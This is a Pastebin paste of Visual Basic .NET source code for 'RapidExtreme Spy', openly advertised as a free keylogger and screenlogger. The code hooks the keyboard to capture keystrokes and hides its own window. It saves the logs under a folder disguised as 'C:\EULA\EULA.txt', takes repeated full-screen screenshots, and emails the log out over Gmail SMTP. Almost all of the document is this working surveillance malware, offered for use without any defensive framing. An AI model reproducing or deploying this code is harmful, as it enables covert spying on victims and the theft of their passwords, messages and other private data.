Advertisement
RapidExSpy

RapidEx Spy - Source code - Form1

Dec 11th, 2013
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.44 KB | None | 0 0
  1. RapidExtreme Spy - Open Source Keylogger and Screenlogger. Free and easy to use.
  2. http://rapidexspy.blogspot.com
  3.  
  4.  
  5. Option Strict On
  6. Imports System.Net.Mail
  7. Imports System.Drawing.Imaging
  8. Imports System.Runtime.InteropServices
  9. Public Class Form1
  10. Dim WithEvents K As New Keyboard
  11. Dim Append As String
  12. Dim key As String
  13. Private Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
  14. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
  15.  
  16. Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  17. K.DiposeHook()
  18. End Sub
  19.  
  20. Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
  21. TextBox1.Text = "RapidExtreme Spy-" & Now & vbNewLine
  22. K.CreateHook()
  23. If (Not System.IO.Directory.Exists("C:\EULA\")) Then
  24. System.IO.Directory.CreateDirectory("C:\EULA\")
  25. End If
  26. End Sub
  27.  
  28. Private Sub K_Down(ByVal Key As String) Handles K.Down
  29. Append &= Key
  30. TextBox1.Text &= Key
  31.  
  32. End Sub
  33.  
  34. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  35. Me.Hide()
  36.  
  37. End Sub
  38.  
  39. Private Sub timerSave_Tick() Handles timerSave.Tick
  40. My.Computer.FileSystem.WriteAllText("C:\EULA\EULA.txt", TextBox1.Text, True)
  41. TextBox1.Clear()
  42.  
  43. End Sub
  44.  
  45.  
  46. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  47. Dim bounds As Rectangle
  48. Dim screenshot As System.Drawing.Bitmap
  49. Dim graph As Graphics
  50. Dim RandomFileName As String = IO.Path.GetFileNameWithoutExtension(IO.Path.GetRandomFileName)
  51. bounds = Screen.PrimaryScreen.Bounds
  52. screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  53. graph = Graphics.FromImage(screenshot)
  54. graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  55. PictureBox1.Image = screenshot
  56. Me.PictureBox1.Image.Save("C:\EULA\" & RandomFileName & ".jpg", Imaging.ImageFormat.Jpeg)
  57.  
  58. End Sub
  59.  
  60. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  61. Timer2.Start()
  62. End Sub
  63.  
  64. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  65. timerSave.Stop()
  66. Dim mail As New MailMessage()
  67. Dim SmtpServer As New SmtpClient("smtp.gmail.com")
  68. mail.From = New MailAddress(TextBox2.Text)
  69. mail.[To].Add(TextBox2.Text)
  70. mail.Subject = "RapidExtreme Spy"
  71.  
  72. Dim attachment As System.Net.Mail.Attachment
  73. attachment = New System.Net.Mail.Attachment("C:\EULA\EULA.txt")
  74. mail.Attachments.Add(attachment)
  75.  
  76. SmtpServer.Port = 587
  77. SmtpServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
  78. SmtpServer.EnableSsl = True
  79.  
  80. SmtpServer.Send(mail)
  81. MessageBox.Show("File Sent. Check your inbox!")
  82. End Sub
  83.  
  84.  
  85. Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  86. Timer2.Stop()
  87. End Sub
  88. End Class
  89.  
  90.  
  91.  
  92. http://rapidexspy.blogspot.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement